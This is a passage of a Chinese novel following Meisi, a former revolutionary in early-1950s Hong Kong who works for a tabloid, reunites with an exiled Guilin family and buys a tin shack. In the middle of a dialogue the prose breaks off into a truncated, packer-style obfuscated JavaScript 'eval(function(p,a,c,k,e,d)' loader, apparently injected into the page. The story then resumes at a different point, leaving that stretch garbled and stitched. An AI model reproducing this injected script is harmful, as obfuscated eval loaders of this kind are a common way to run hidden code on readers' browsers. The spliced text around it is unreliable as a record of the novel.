单为了这样的寒冷,并不会让自己沮丧至此,梅思曾经历过比这低得多的温度,然而在那个时候,并没有为寒冷而伤感,精神反而是振奋的,因为那个时候,自己是怀着无穷的希望,“前奔着去追求人生之意义,努力人生之工作,创造人生之世界”,所以虽然风雪骄横,野狼嘶吼,然而“我们不知道是苦,只觉得明天就是暖和的晴日,血红似的太阳,前面是光明的大道,美丽的花园”,环境的艰苦只会让人的斗志更盛,就如同把盐洒在酥糖上,会让酥糖更甜一样。 也不是为了经济的困窘,自己在香港,虽然职业暂时没有着落,然而食宿一时间不是问题,不必像谢冰莹那样,看到房东杀鸡宰鸭,大鱼大肉,就很想也坐到餐桌边去吃一点,就在这个除夕之夜,自己刚刚吃了焖烧野鸡做年夜餐,浓浓的鸡汤让胃里很暖和,可是与谢冰莹相同的是,如此佳节,自己却了无趣味,甚至更添凄凉,就好像谢冰说的,无论是旧历还是新历,过年都与自己无关。 之所以是这样的心情,是因为那种激情的生活正在日益与自己远离,曾经填满胸怀的憧憬已经褪色,如果说当年的热情是一种带了梦幻感的迷醉,如今则是清醒的失落,但起码在梦幻之中,人还是快乐的,还是充满希冀的,如今则是连一点点希望都难以保留。 梅思仔细思量自己的处境,与谢冰莹并不完全相同,如今革命的大潮确实已经过去,然而那却是因为共产主义在中国获得胜利,而不是像国民革命时代那样,因为失败而退潮,谢冰莹是因为革命退潮而给遗留在沙滩上,自己则是给汹涌的革命浪潮抛了出来,面对着那壮阔的风云,孤独冷落地成为旁观者,旁观者这个词所代表的另一个意思,就是局外人。 在那个时候,梅思只觉得心情无限凄苦,简直要落泪了,然而就在今天,自己得到了报馆的职位,虽然只是一个小小的报社,比不得大公报、文汇报那样的出名报社,不过能有这样一个地方肯接纳自己,也已经非常快慰,就在得知聘用的那一瞬间,梅思有一种鲜明强烈的获救感,真仿佛漫天黑云之中看到了霞光,今后的日子里,这一份职业虽然未必会成为自己的救赎,然而此时此刻,梅思只觉得自己好像是溺水的人得到了一个救生圈。 想着想着,梅思的内心重又变得明朗,她敲打着自己的手臂,要努力啊,从明天开始,就要去报馆做事,一旦开始了新的职业生涯,总会有所变化,未来还有许多的计划,等待自己去完成。 56.第五十六章 小报速记梅山 第五十六章 小报速记梅山 梅思供职的这一家报社,品格着实不高,类似于花边小报,她在这里做事一个多月,采访的多是明星,接受她们采芳的明星,也多数是二三流,像是那些鼎鼎大名的人物,比如白燕、曾蓝施、刘琼、严俊,本报的相关新闻则多属捕风捉影。 虽然与心目中的新闻事业有很大的距离,不过这毕竟是多年以来,自己第一份速记员的职业,因此梅思仍旧很是珍惜,加班加点,十分卖力,况且她虽然是新入职,毕竟在女大旁听过新闻课,对这一行不是一无所知,上手相对快一些,两个负责带她的前辈,一个方燕茹,一个蔡静怡,都夸赞她聪明,老板兼经理贾先生因此对她很是满意。 到了四月二十号,梅思领到了三月的薪水,到现在为止,她已经拿到了一个半月的薪金,可以应对一些开销,于是这一个难得的休息日,梅思便匆匆出门去,找寻房屋。 在女青年会已经住了三个月的时间,梅思以为实在不能再住,除了不愿长久求告寄居,另外也是因为这里的房屋狭小,更兼人声嘈杂,往来的人十分杂乱。 若是从前的黄菲,其实是不很在意的,毕竟在延安,过的就是集团生活,集团生活就是这样,少有自己的空间,想要一个人静静地读读书写写字,又或者听听音乐之类,总会让人感觉有点太过“资产阶级情调”了,在延安,差不多什么事情都是大家一起做,体育锻炼是共同,学习讨论是共同,看晚会是共同,工作自然更加是共同,从生活到娱乐,许多都是与其她人在一起,倒是不容易寂寞,只是想要一个人静静地待着,却有些奇特,会显得癖性古怪,不合群,不能够“团结同志”。 景斌当年是曾经有些微词的,以为有些太吵了,还设想未来的家,安静地读书创作,两个人一起安安闲闲,听无线电播放音乐会,自己对此虽然没有很强烈的需求,但也觉得有趣,便与他一同设想。 然而景斌早已经不在了,如今的自己,也与那时候有所不同,现在的梅思已经不再是当年的黄菲,不是很能受得住这种人来人往,想要安静一些,也希望住得宽敞一点,女青年会的房间,简直就是宿舍,而且还不如龙王庙的寄宿舍清净雅致,月下漫步,很有诗意的。 梅思也知道这样的比较不是很公平,香港人多地狭,寸土寸金,比不得江陵龙王庙,庭院宽阔,对于初来乍到的人,能够有这样廉价栖居的地方,已经很值得欣慰,自己心底也表示感谢,只是终究不是长久之计。 于是当口袋底有了这一个半月的薪水,梅思便出去寻找房屋,来到港岛上百天,又是作采访速记到处跑,梅思对地理已经有所了解,晓得以自己如今的薪资,要租住市区内的房子是很难的,于是便专门去看距离报社不太远的寮屋区。 寮屋区,是一个比较文雅的称呼,措辞很有古意,“寮”指小屋,比如“草寮”、“茶寮”,写在诗歌里很有意境的,然而香港的寮屋区,却并没有那样超脱,梅思是以为,还不如直接叫“贫民窟”更贴切些。 就是一些在山边城边简单搭建的小房,有铁皮屋,也有木屋,房子盖得密密麻麻,中间只有细细的通路,住在这里的,都是贫困的人,房租便宜,还有免费的自来水,可以用桶提回自己家里,梅思如今也来了这里,看过几间房后,终于定下了一间,付了房租,第二天晚间下班后便搬了过来。 梅思搬家之后,连续几天晚间打扫整理,又交往邻居,好容易盼到又一个休息日,本来应该好好休息一下,不过她那一天早上醒来后,躺在床上想了一想,早饭后梳洗了一下,换了一件比较体面的衣衫,还是提了一包梅干,一包笋干,搭乘巴士去了尖沙咀。 她这一阵各处采访,港岛本来也不很大,几十天来已经熟悉了的,按照地址,没有很费力气便找到了刘公馆,到那里便向门房打听白太太,门房一摇头:“早就走了。” 虽然已有所准备,之前就想到东妹姐随着主人,是在广西解放前离开了桂林,到如今两年多的时间过去,未必还借住在朋友家中,只怕已经去了别的地方,到这时还是有些不快意。 梅思便向门房打听,白太太一家是去了哪里,说自己是她家的朋友,门房笑着说:“我也不知道,要我家老爷才知道,你等等,我去问问老爷。” 门房转头便进了里面去,过不多时又出来,对梅思说:“梅小姐,老爷请您进去呢。” 梅思便随着他进了大门,是一幢花园洋房,碎石子铺的道路,不多时便到了堂屋,西式客厅,一个四十几岁的男子坐在沙发椅上,正在抽烟,见到了梅思,上下打量她几眼,问道:“你是白太太的朋友么?从那边来?” 下颏朝西边一点。 梅思马上会意,回答道:“是的,我是从广西过来,其实我不算是白太太的朋友,她家的东妹,是我的姐妹。” 刘朝宗倒也没有在意她的朋友规格问题,抬手指了一下旁边的椅子,说一声“请坐”,然后便问起:“那边现在如何了?田地都分了么?死了许多人?” 梅思眉头微微一蹙:“广西的土改是已经完成了,我家里并没有受到什么伤害,留了一块田,两间屋给我们,可以自食其力。” 刘朝宗一声嗤笑:“那么你为什么到香港来?” 梅思道:“是为了亲人团聚。” 最起码姐姐是这样的,从香港转去台湾,可以见到一家人。 刘朝宗鼻孔里喷出一股气,“唔”了一声,又问了她一些别的,都是有关红色中国的话题,梅思拣一些说了,见她不愿太多说,刘朝宗便笑着写了一个条子递给她:“邹生与白太搬去这里了。” 梅思一看那上面的地址,是去了官塘,距离尖沙咀倒是不很远,不过这时候已经将近十一点,午前赶到那里不是很容易,刘朝宗显然也是想到这一点,便随意地说:“梅小姐请留下来吃午饭吧。” 梅思自然摇头:“多谢,不过不必客气,我还有事,现在就告辞了。” 刘朝宗也没有多挽留,抬手便让人送了她出去,梅思要留下一包梅干答谢,刘朝宗看也不看,让她带走。 梅思离开刘公馆,走过一条街,找了一家冰室,要了一份奶茶,一个三明治,简单吃了,又休息了片刻,便出门寻车,去往官塘。 下午一点半多钟,梅思来到了官塘,一路询问着找到了地方,看准了门牌号,拍了十几声门,里面有走动声,还问着“是谁?” 梅思一听那声音,分明便是东妹,登时一阵兴奋,便高声叫着:“东妹姐么?是我,幺姐啊!” 里面的脚步声霎时便急促了,拖鞋声噼里啪啦,两秒钟便到了门口,紧接着大门哗啦几声,门闩拉下,院门打开,一个人影从里面闪现出来,穿一件白夏衫,身材微微有些发胖,正是分别已久的东妹。 东妹站在门前,睁大眼睛把面前的人仔细看了看,又狠眨了几下眼,这才如梦初醒一般,猛地一下抱住了梅思:“幺姐,可算见着你了,我还以为再也见不到了!” 说着便哽咽起来。 梅思的眼眶也湿润了,语声带了鼻音:“东妹姐,我一直都在想你。” 姐妹两个拥抱着哭了足足有三分钟,后面屋子里有人扬声问:“东妹,是谁来了?” 东妹这才收住了悲泣,擦擦泪水,转头向房间里叫:“太太,是我家幺姐到了香港,来看我们。” 房中的人静默了几秒钟,想来是在回顾东妹的幺姐是哪位,不多时显然记了起来,也很有些喜出望外:“啊呀是黄小姐,你到底也来了啊,真的很是想你!” 然后一个人从屋子里快步走出来,便是白明珠。 白明珠走到门边,一把便拉住梅思的手,很是亲热地说:“你总算来了,看到了你,就想起了桂林,在香港少有熟人,实在是寂寞啊,快进来坐!” 拉着她就进了客厅,又连声说着:“东妹,倒茶!” 梅思笑道:“我自己来吧。” 东妹连忙给太太和梅思各自倒了一杯茶,白明珠眼睛一转,瞟到了东妹,顺口便道:“东妹啊,你也坐吧,不是外人,大家今日难得聚在一起,便好好说说话。” 梅思本来作为客人,不好擅作主张,此时有白明珠这样一句话,便赶忙站起来,又寻了一个茶杯,给东妹倒了茶。 东妹跟了白明珠几年,已经很称心腹,又是从桂林追随来香港的,患难与共,情谊格外不同,便也没有太多客气,笑嘻嘻便坐了下来。 白明珠先是问:“你父亲好?你母亲好?家里都好?” 梅思一一回答了,父亲出走,母亲亡故,哥哥也没了,这一次是送嫂子和姪女从香港转台湾,自己也便就此留下不走了。 白明珠又问:“你父亲在香港好么?” 梅思答道:“想来还好。” 白明珠当即会意,便没有再追问。 梅思紧接着说起离开平乐的时候,去探望过乳母,东妹连声便问:“我妈好的吧?我爹呢?我哥哥姐姐都好么?” 梅思道:“都还好,分了土地也分了房子,詹妈妈身体很硬朗,如今有了地,精神更好了,只不过因为朝鲜打仗,征的粮食多了些,詹妈妈说,今年过年本来想烧猪肉一家人吃,实在舍不得,只好炒了一大盘鸡蛋,端上桌转眼便空了。” 东妹快言快语地说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白明珠笑一笑:“恍惚听东妹说过你换了名姓,一时竟不记得。好呀,你是有了出头之日,虽然你说是小报,毕竟也是报业一行,在人前很是体面的了,那些小明星要露脸,总要对你们说些好话。” 梅思咯咯地乐:“只可惜我刚刚入行,没什么名气,人家不很看重我这一支笔。” 顶多是请一杯奶茶便罢了,梅思是晓得本行业是有所谓“有偿新闻”,关系稿,不但不付采访费,对方还要倒贴钱的,只是自己新来乍到,没人认得自己。 白明珠点了点头:“虽然你是这么说,然而以你的才学,将来不愁出头。人啊,只要肯出力做事,前路总有光亮,不像我们,实在没意思。” 梅思笑道:“太太若说没意思,还有谁会说有意思呢?比起我这样奔波劳碌,是舒服得多了。” 白明珠听她这样宽慰,“哼”了一声,话锋一转,问道:“你这一路从尖沙咀到官塘,都看到了什么?” 梅思想了一想:“尖沙咀热闹些,官塘更清净。” 白明珠冷笑一声:“梅小姐,你是很贴心了,只是我哪里不知道,若是有钱,怎么会来住官塘?” 不愧是当记者的,真会说话,官塘这叫做“清净”吗?分明是荒凉啊,是港岛的垃圾场,每天垃圾车往这边送垃圾来埋起来哩,尖沙咀是多么的繁华,两相比较,简直一个天上,一个地下,官塘就是乡下,住到这里,简直就是流放。 白明珠心头许多话,不由得都在此时涌了出来:“当初我们从桂林逃来这里,滔天洪水中的救命岛,那时候海关只准每个人带出二两黄金,哪个肯理他?只是‘三寸喉咙深过海’,到了这里,每天只有出的,没有进的,纵然原本万贯家财,也少不得一点点消磨了,更何况我们这样的中等人家。我家先生,到了这里就好像鱼失了水,没有他施展的余地,纵然当年出过洋,到这里也难出锋头,时运不济,这也怨不得谁,倘若国民政府不败,倘若李代总统和白长官能守住广西,我们哪会遭这种罪?香港可不是我们的天下了。唉,也不知有生之年还能不能再回桂林,香港纵然prosperous,可是这里的人就只认得钱,哪像桂林,人情厚重?这里人说话,我们也不懂得,咬字稀奇古怪……” 梅思轻轻点头,白明珠是一个道地的桂林人,讲桂林话,而香港则是多讲广东的白话,自己好在当初在百货公司的时候,为了应对南宁的客人,学了几句白话,听都能听得懂,只是说不畅,到了香港,这几个月除了看报纸找职业,就是拼命找当地人说话,学习白话,那用功的程度仿佛重回女大,所以才能成功应聘报纸速记。 白明珠有无尽的感叹,对着昔日相识终于可以倾诉,梅思静静地听着,约莫过了半个多钟头,白明珠说道:“……Julie和David这两天在她们姐姐家里住,我先生今天出去了,晚饭时候大约是回来的,你便在这里吃饭,朋友好久不见了,大家说说话。啊,你现在住在哪里?” 梅思笑道:“石硖尾。” 57.第五十七章 白明珠探访石硖尾 第五十七章 白明珠探访石硖尾 梅思那一天去探望了东妹和她家太太,过了半个月,这一个礼拜天的午后,白明珠带着东妹,提了一盒点心来回访。 东妹拍了几下铁皮门,没有动静,她加力又重重地捶了几下,过了一会儿,里面终于有人说话:“谁呀?” 东妹扬声道:“幺姐,太太和我来看你了!” 只听房间里“啊呀”一声,然后就是扑通扑通几声响,马上又是啪嗒啪嗒的脚步声,紧接着房门打开,梅思身上披了一件袍子,脚上一双木底拖鞋,便站在了门口。 白明珠方才扭着颈子望向另一边,几个黑衣人吆吆喝喝,在那里搭电线,此时转脸一看,房里人那半旧的阴丹士林长衫下,分明是一件睡衣,再看梅思披肩的头发,依然有些凌乱,两眼的眼皮还有些浮肿,一副惺忪样貌,显然方才正在睡觉,听到了敲门声,匆匆爬起来,披了长衫,草草抓过梳子梳了几下头,便来开门了。 梅思从门前闪开身子,抬起手臂朝里面比划,请她们进去:“快请进快请进!” 白明珠一边往里走,一边笑:“是我们来得不巧了,扰了你午睡。” 梅思笑道:“本来也要起来了的。” 到了屋里,梅思又是搬椅子,又是倒茶,白明珠口中说着“不必忙”,把皮包放在桌上,坐下来转着头望向四面,都是黑乎乎的铁皮墙壁,举头一望,屋顶也是铁皮,还有两处修补,那两块补丁倒是白亮白亮,看去似乎用的马口铁,罐头盒剪开来展平了的;小小一间屋,客厅与卧房连成一体,床头是一扇小窗,今日本来是晴天,窗子虽然小,也能透进许多光线,然而室内仍然是昏暗,很适合睡觉。 白明珠想了一想,才明白了,原来是附近房屋太密,遮挡了光线,从推开的窗子可以看到,不到一米处就是另一户的木板墙,哪还能透入什么阳光? 白明珠掏出手绢扇着风:“梅小姐,你这里是真热啊!” 香港的五月,天气已经热了起来,要说香港的热,与桂林其实也差不多,桂林夏季里也是非常闷热,所以白明珠到了香港,虽然是异乡,寒热倒是还能够忍耐,只是梅思这里格外的热,又不透气,便显得更热,虽然刚刚坐下来,已经开始出汗。 梅思端上一盘草莓,红通通的,笑着说:“太太,可不是这样么?你看这屋子,不过一层薄铁皮,聊避风雨罢了,不通风,夏天如同蒸笼,等到冬季,想来冷得如同冰窟窿,我刚刚搬来,还没有领教过这里的冬天哩,只怕难熬。” 白明珠顺口又问一句:“外面是哪里的工友,在这里接电线?” 风范奇特。 梅思笑道:“不是工友。” 东妹忽然间翕动着鼻翼闻了闻:“怎么一股油烟味?谁家炒菜哩?” 梅思更笑起来:“东妹姐,你这一说,我又想通了一层道理,这里住了如此多的人,我这房间对面就是人家厨房,周围许多房子,许多的灶台,早晚都燃起灶火,我这屋子给许多火堆围绕着哩,冬天未必多暖,夏天可是熏烤得厉害,这温度便又提高一点了。” 白明珠微微蹙眉:“住在这个地方,可是要小心灯火。” 梅思一乐:“所以,我租了个铁皮房子。” 白明珠也不由得失笑,转而想到了现在的时间,刚拍门的时候,自己看过手表,两点十几分了,这个时辰到访,很是合适,在从前,是夫人太太之间下午串门子的默契时间,午睡到这时一般都该醒了,此刻上门便不为失礼,哪知到底是打搅了午睡倒也罢了,邻居竟然这个时候才吃午饭。 自己读外国人写的书,一日三餐都要有规律,要有相对固定的时间,午餐最好在十一点半到十二点半之间,因为到了这个时候,早饭提供的营养已经在上午的活动中消耗殆尽,就需要补充饮食了,否则的话,人会疲惫,甚至头晕,自己作为主理家政的人,这些年来一直很注重这一点,三餐定时,保养一家人的康健,哪知这边人竟是两点一刻才吃午饭,定然是午饭,住在石硖尾的人,想来未必有心情去摆弄下午茶的调调。 梅思笑道:“想来是刚刚才从外面回来,像那些做小生意的,又或者工厂赶工,耽搁了时间也是难免。” 白明珠摇头:“她们这样,十分的不卫生。” 梅思愈发乐了:“啊哟太太啊,贫苦的人每天手脚不停地做,只要能赚来饭钱,便是阿弥陀佛,哪还能顾及卫生不卫生?这世上哪有那么多的人,能够像太太这般好命呢?” 虽然称不上在妇女解放方面有所建树,不过白明珠毕竟衣食无忧,流亡到香港,依然维持着上流太太的做派,单看这一点,倒也可算得命运不错,况且这样说话,会让白明珠开心,如今的自己,已经与当初不太相同,自从来到香港,渐渐地“入世”了,和光同尘。 果然,梅思这几句话让白明珠很是欢喜,要说她自来香港,落寞之情与日俱增,周围的一切都兴旺发达,唯独自家,一天天沉落下去,“沉舟侧畔千帆过,病树前头万木春”,自己可没有诗句本意的豁达,为其她人依旧在努力而感到欣慰,只觉得反差太刺人的心,这种时候能得梅思这样几句恭维,实在很是慰藉。 于是三个人的闲谈便愈发有兴致,从下午两点多,一直说到日色偏西,将近五点了,中间梅思加了几次茶水,酸梅茶,到傍晚又留饭。 白明珠本来不肯:“你刚刚来这里,底子还薄,不好让你破费,况且天也晚了,我们得回去了,家里没人,我先生独自在家,不好打发晚饭。” 今时不同往日,在香港,自家已经请不起厨子,佣人只有东妹一个,节衣缩食,务必减少开支,有时候甚至身为太太的自己要做家务,所以倘若自己与东妹都不回去,丈夫便不能开饭。 梅思乐呵呵地说:“不过是家常便饭,许多年不见,重新相聚总该吃一餐饭,这一个小东道我还是请得起的,至于邹先生么,他这么大的人,又不是小孩子,见太太不回去,难道不会自己想些办法?人家都说‘吃在广州’,我虽没怎样住过广州,不过觉得香港比广州也不差,街头巷尾满是卖吃食的,总饿不着自己。” 白明珠便笑:“可说他偏喜欢这边的嗱喳面。” 梅思“啪”地一拍手,嘻嘻笑道:“这不就成了?邹先生见太太与东妹姐都没能回来,便自去街边买一碗嗱喳面来吃,蛮好。你们且等等,晚饭很快便好了。” 然后她便站起来走去厨房,东妹不肯让她一个人忙,便也过去帮手,房间里一时间只留下白明珠,她独坐有些无聊,一眼瞄到床头的书,是巴金的《雾》,便拿在手中读了起来。 到这一天晚上快九点的时候,白明珠与东妹才回来官塘家中,一见她们进门,邹千里便问:“怎么这样晚?” 白明珠笑微微地说:“梅小姐留饭。啊呀,你晚饭吃了什么?” 邹千里道:“街那边小馆子,云吞面。你们吃的什么?梅小姐招待了怎样的好菜?” 白明珠笑道:“啊哟,不过是日常的小菜,谁好意思要她请大餐呢?打了四个鸡蛋,加了许多葱花,炒了一大盘,一盘烫青菜,一盘醋调黄瓜,一碟酱茄瓜,这样也是四个菜呢,当中还有一个汤,街面上新见到的马铃薯,切成薄薄的片,加洋葱碎,放到锅里用油煎到酥软,同奶酪一起煮汤,啊哟那汤里还有咸羊肉哩,小小的丁子。东妹在厨房里帮衬,两个人忙了两刻钟,弄出这些东西来,摆在桌子上,也是满满当当,尤其数那个汤顶呱呱,让人不由得便想起,我们当年在桂林,闲来无事,为图新奇,便去吃番菜,广东师傅做的番菜是真好,牛排啦,牛油面包啦,奶油汤啦,要吃西餐不必出国,在国内便吃得到顶好的番菜,况且还便宜,顶有名的岭南楼,五角一圆就吃一顿,便宜过中餐,粤菜川菜的馆子,倘若是海参鱼翅席面,几十块一桌。唉,那是抗战之后了,虽然说国家损失惨痛,不过日本人毕竟走了,元气便慢慢地在恢复了,各处房屋起来了,大家也各自归农归商,那一阵真是快活,每天都只顾着享福,本以为这样的日子永无尽头,哪知转瞬便换了天地。” 白明珠起初是历历如珠地数说着,夸赞梅思心思灵巧,只不多工夫,便变化出几样餐食,排放在桌面,十分体面,到后来回想起抗战之后的国势鼎盛,富贵风流,转眼都休,便情不自禁哀伤起来。 邹千里本来听着她念食经,感觉有些好笑,自从来了香港,太太日益琐屑了,专留心于这些鸡毛蒜皮的事,后面听她对比今昔,无尽慨叹,邹千里想到当前的景况,便也再难笑白明珠。 梅思住的石硖尾,他来这边三年,早已知道是什么样的地方,乃是最底层的聚居地,可是自己住的官塘,却也不是什么官样体面的所在,比起当年桂林的厚富街,人间天上。 刚来香港,是住在朋友刘朝宗的公馆,香港地狭人多,土地价格十分高昂,居大不易,刘公馆在港岛已称中上流,然而相较自家在桂林的宅子,怎么能比呢?只怕就连梅思原本的家中,乡绅豪强庄院,也远远不及,黄家自己虽没去过,但一般土豪总要有三进五进的院子,宽阔的庭院,种花种树,养鸡养猪,若是讲究一点,有些文化的,还有假山池塘,水里面养一些锦鲤,太太小姐们日常就在鲤鱼池边逗鱼,那样尺寸的土地,在香港,不是首屈一指的富豪是享用不起的,只怕就连英国人的总督,府邸也不过如此,刘公馆相比起来,便寒酸得多了。 那还是刘公馆,再看自己如今的地方,官塘,有些身份地位的人等闲不肯过来这边,这一处地名只一听便感到落魄,没想到自己还不到五十 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只是闭门就坐在这里,虽然是清高,却奈何只出不进,当初从桂林逃来这里,是带了许多金银美钞,美钞存在银行里,能生些利息,金银宝石没法子生息,只靠着银行里存款的利息,不能完全应付日常用度,少不得每过几个月,便典当一回,照这样子,只怕到自己寿终正寝的时候,便囊空如洗了,每一想到这件事,邹千里便不由得恐慌。 邹千里默坐沉思,白明珠在那边依然絮絮,止不住地要说话:“可巧她今日早上刚刚做了面饼,预备一个礼拜的伙食,锅盔呢,我们在南边少食,她有了这个饼,每天回来只要烹调一点小菜便好。此外还有一味配菜,是湖北炸胡椒,虽没有我们家乡独有的辣椒酱,但炸胡椒也是很好的,让人想起当年在桂林,吃米粉配的辣酱。唉,亲不亲,故乡人,如今在这香港,这便是亲人了,我们约好,端午的时候她过来呢……” 太太最后一句话蓦地入耳,邹千里的神情不由得一滞,片刻之后叹一口气:“也好,就请她来吧。” 想一想从前在桂林,自己的交游何其广阔,邹公馆那可真是“门庭若市”,真如同孔融,“坐上客常满,杯中酒不空”,然而来到香港之后,门前便日益冷落了,就连刘朝宗,也好一阵不来往了,在这种时候,能有一个梅思,便显得热闹,仿佛这公馆又兴盛起来了。 人对于世界的看法啊,真的是自身处境有关,像是这位梅思,若是在从前,哪会得自己如此看重呢?虽说她是读过书的,出身也不很寒酸,黄老爷乡村豪强,更不要说她自身也有职业,算是女子自立自强的典范,不过与自家相比,终究是低了一层,“尖头曼贵妃”与政府高官是不一样的,当年在桂林,自己虽也应酬她,交往的情谊却也只是泛泛,那时候与自己相交投契的,不知有多少,然而自从到了香港,知己风流云散,一朝重遇梅思,居然把她当做了莫逆,港岛茫茫人海之中能有一个梅思,便让人重温从前的繁华岁月。 一念及此,纵然邹千里几年来已经感慨得惯了,总觉得似乎再无新意可言,一时间心头却也滋味复杂。 这一回做客之后,只一转眼,端午就过了,到了七月,香港到了一年之中最为燠热的季节,对面大陆上的广西也是炎热,这一天沈芒从外面回来家中,便唉声叹气。 陈露云便让保姆把女儿先领出去,转头问他:“怎么了?” 沈芒皱着眉头:“张爱玲走了。” “唔?走去了哪里?” “香港。” 陈露云噗嗤一笑:“倒是步了黄菲的后尘。” 一个一月,一个七月,先后都是去了香港。 沈芒紧蹙眉尖望着她:“你还笑哩!张爱玲是很出名的作家,许多人喜欢她的小说,她这一走,在文化界影响不算小。” 陈露云不很介意地说:“那又怎么样?新中国是不可阻挡的,走了那么几个人,难道就能妨碍了党?将来自有她们后悔的一天。” “你……唉,不说了。” 沈芒一时间哑口无言,后悔方才和她说了这件事。 虽然两个人是革命伴侣,但越来越多时候,沈芒对陈露云有一种陌生感,感到有一些想法难以对她说,就比如这一次,自己为中国文化界而忧虑,她却觉得无所谓,以为将来都要后悔,她这个样子,实在目光短浅,有一点好像暴发户,或者可以说,是政治上的暴发户吧,底蕴单薄。 就在建国前后,有许多文化艺术界的名人出走,鼎鼎大名的是胡适、张大千,都很是引起震动,可见文化界并不是完全认同中共,这一回又出了个张爱玲,虽然张爱玲远不能与上面那两人相比,然而她在上海曾经红极一时,上海是文艺战线斗争的重地,不可小觑的,所以她这一走,引发的影响也让人不能乐观,然而在陈露云,这些都无足轻重。 这时候沈芒不知怎么,便也想到了黄菲,倘若是黄菲在这里,他直觉以为,两个人大概很可以就这件事好好讨论一下,虽然与陈露云的婚姻是有“牢不可破的政治基础”,然而在某些方面,或许与黄菲有更多共同的话题。 58.第五十八章 入火 第五十八章 入火 张爱玲来了香港,梅思在报界自然也是知道,听闻的瞬间,表情一怔,但马上就又低头斟酌眼前的稿子,谋生不易,让人难有太多余力去想其她。 到了这一年的十二月,二十四号傍晚,七点多的时候,梅思终于赶完了稿子,在桌前大大地伸了个懒腰,便收拾了皮包,站起身来与几位同僚一起,匆匆走出了报社。 站在报社门前,童岳提议道:“已经这个时候,不如吃了饭再回去。” 蔡静怡扶着胃部,有气无力地说:“我也这样想,肚子很饿了,撑不到回家。” 梅思转眼看着四周:“吃些什么呢?啊,那边有推车卖嗱喳面的过来了!” 江振波望向那边,眼睛也是一亮:“好呀,我顶喜欢嗱喳面!嘿,大佬,我们要吃面!” 小贩听到这边有人在叫,便推着车飞跑而来:“要碗么?” “要的要的。” 在报社加班,都没有带碗。 小贩弯腰便从下面掏出一只瓷碗,先问梅思:“粗面幼面?加什么料?” “粗面,腩汁,加猪皮、鱼蛋,萝卜。” “要韭菜么?” “也加一点吧。” 小贩飞快捞了面,浇了酱汁,把配料也放了进去,将那装得满满的面碗递给梅思,转头便是问童岳:“粗面幼面,加什么料?” 童岳是幼面加清汤,后面蔡静怡和江振波依次要了面,四个人便围着那木头车,举着筷子狼吞虎咽地捞面。 半碗面下肚,终于有了力气,蔡静怡便稍稍慢了下来,转头问梅思:“听说你要买房了?” 那小贩刚刚给另外几位客人又装了面,听到这一句,不等那位漂亮的女子回应什么,转头便眼神炯炯地紧盯着她:“唔,小姐,你要买房?恭喜恭喜,你真本事啊!” 梅思脸上一红,笑道:“不过是一间铁皮屋,本来是租住的,房东忽然说要卖了,倘若我不肯买,便只有搬家,我不想搬家啦,很烦的,所以便只好买下。” 四十几岁、一脸胡子的小贩一挑大拇指:“那也很本事的啦!铁皮屋要买下,也要许多钱,你年纪轻轻,便这样能干,将来一定发达的啦,香港穷人实在难住,像是我,这么多年都没有自己的一间屋。” 童岳点头,深有同感:“梅小姐确实能干。” 香港不单是贫穷的人过得辛苦,自己在社会上有一份还算是正经的职业,与人说起毕竟也是记者,然而到现在三十几岁,一直租房住,虽然倒是没有住在石硖尾那样的地方,想要置产却不知要等到何年何月,每次兴起设想买房,只要一想到价钱,这个念头便消掉了。 而梅思在报社只不过干了大半年,便存够了买房的钱,纵然是寮屋区,却也是在香港有了个立足之地,这一点不由得人不羡慕。 梅思抿嘴一笑:“是靠家里帮衬。” 江振波乐道:“虽然你是如此说,然而你素日节俭,大家都看得到的。” 真是会省钱,午饭都是自己带上,中午赶回来报社的同僚往往会叫一盘咖喱饭来吃,又或者是吃云吞吃面,唯有她,独自在那里啃烧饼,很厚的那种白面烧饼,在香港没有见到过,再加一点酱菜,配着报社的茶水作汤,就是一餐饭,听她说这种饼每次烙七个,刚好够应付一周的。 蔡静怡也笑:“梅小姐是真的俭省,今天平安夜呢,想来大餐就是嗱喳面了。” 回去之后未必会买鸡排来食。 梅思笑道:“嗱喳面很豪华的啦,有猪皮鱼蛋。” 小贩又给人装了一碗面,听到这句话,赶忙扭回头:“今天吃面顶好,平平安安,长长久久。小姐,要加一块豆腐么?给你添福气。” 童岳咯咯地乐:“大佬,你对梅小姐格外地好。” 小贩冲他呲牙一乐:“小姐说我的面豪华体面啊!” 梅思感到盛情难却,便笑着说:“多谢你,再加一块油豆腐吧。” 那小贩答应一声,用勺子正给她捞那炸得金灿灿油汪汪,浸饱了浓浓汤汁的豆腐,忽听街那边有人高呼一声:“差佬来了!” 小贩闻言登时风云色变,将勺子往食料格子里噗通一丢,推起车子撒开腿便跑走了,连碗都顾不得收,留下四个人手里捧着碗,站在那里面面相觑。 这一天的晚间,梅思回到家中,已经是将近九点,嗱喳面虽然当时饱肚,到这时却觉得又有一点饿,她在房里左右看看,从墙角的坛子里拿出一个皮蛋,放在饭盒里煮熟,剥了皮放在饭盒盖里,加了一点酱油,用筷子把半透明的褐色皮蛋破开来,一口口便吃了。 一边吃皮蛋,梅思脑子里一边翻滚着念头,自己和人家说,这一回买房是靠家里帮衬,确实不是谦逊,虽然没有动用母亲留下来的首饰,但这些年来,自己少有添置衣物,一直到现在,穿的多还是当初离开平乐时,母亲给自己置办的衣衫,维持了相当的体面,此外当年离家,母亲只当送女出嫁,各种东西暗地里陪送不少,压箱也有上百块东毫,虽说这些年来自己在外面奔波职业,也赚了钱,但世事艰难,结余不多,这一次付房款,便取出母亲给自己的银元,否则只凭自己辛苦做事,纵然竭力节俭,此时也是付不出的。 想到自己出社会已经这许多年,中间并不曾懈怠,竭力争取,况又克勤克俭,宛如苦修的禅师,直到如今却依然囊中无余储,想要有一个安身之处,终究是要凭借家里,自己从前唾弃剥削阶级的家庭腐朽,现在却要靠那腐朽家族的财产来得安居,一想到这一点,梅思便感到痛苦。 一只皮蛋不多久便吃完了,梅思的感慨便也到此为止,将饭盒盖刷净,放在架子上,此时炉子上泛光的白铁皮水壶里,水已烧热,洗脸擦身之后,又喝了一点水,很快就睡了。 梅思将房款付给了房主,两边很快办理手续,一月中旬全都办完,这一间铁皮屋便归入梅思的名下,虽然小小一间屋,毕竟也是置业,是一件大事,按两广的风俗,是应该“开火”的,请亲朋来吃一餐饭,从此就是入了火,梅思也想要热闹一下,便分了两回请客,先请东妹姐和白太太一家,再请报馆同仁。 